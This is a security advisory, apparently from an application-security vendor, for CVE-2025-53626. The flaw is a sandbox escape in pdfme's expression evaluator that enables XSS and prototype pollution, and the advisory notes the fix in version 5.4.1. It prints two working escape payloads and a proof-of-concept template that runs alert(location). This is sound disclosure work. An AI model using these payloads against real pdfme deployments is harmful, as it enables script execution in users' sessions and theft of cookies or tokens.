CVE-2025-53626

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:

• __lookupGetter__
• __lookupSetter__
• __defineGetter__
• __defineSetter__

Proof of Concept

Loading the following template in pdfme triggers alert(location):

{
  "schemas": [[{
    "name": "field1",
    "type": "text",
    "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
    "position": { "x": 0, "y": 0 },
    "width": 100,
    "height": 100
  }]],
  "basePdf": { "width": 100, "height": 100 },
  "pdfmeVersion": "5.4.0"
}

These vulnerabilities allow attackers to:

• Execute arbitrary JavaScript code in the context of the application
• Steal sensitive information including cookies and tokens
• Modify application behavior through prototype pollution
• Potentially perform actions on behalf of users

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-53626 has a CVSS score of 6.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.4.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-53626? CVE-2025-53626 is a medium-severity cross-site scripting (XSS) vulnerability in @pdfme/common (npm), affecting versions >= 5.2.0, < 5.4.1. It is fixed in 5.4.1. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-53626? CVE-2025-53626 has a CVSS score of 6.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @pdfme/common are affected by CVE-2025-53626? @pdfme/common (npm) versions >= 5.2.0, < 5.4.1 is affected.
4. Is there a fix for CVE-2025-53626? Yes. CVE-2025-53626 is fixed in 5.4.1. Upgrade to this version or later.
5. Is CVE-2025-53626 exploitable, and should I be worried? Whether CVE-2025-53626 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-53626 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-53626? Upgrade @pdfme/common to 5.4.1 or later.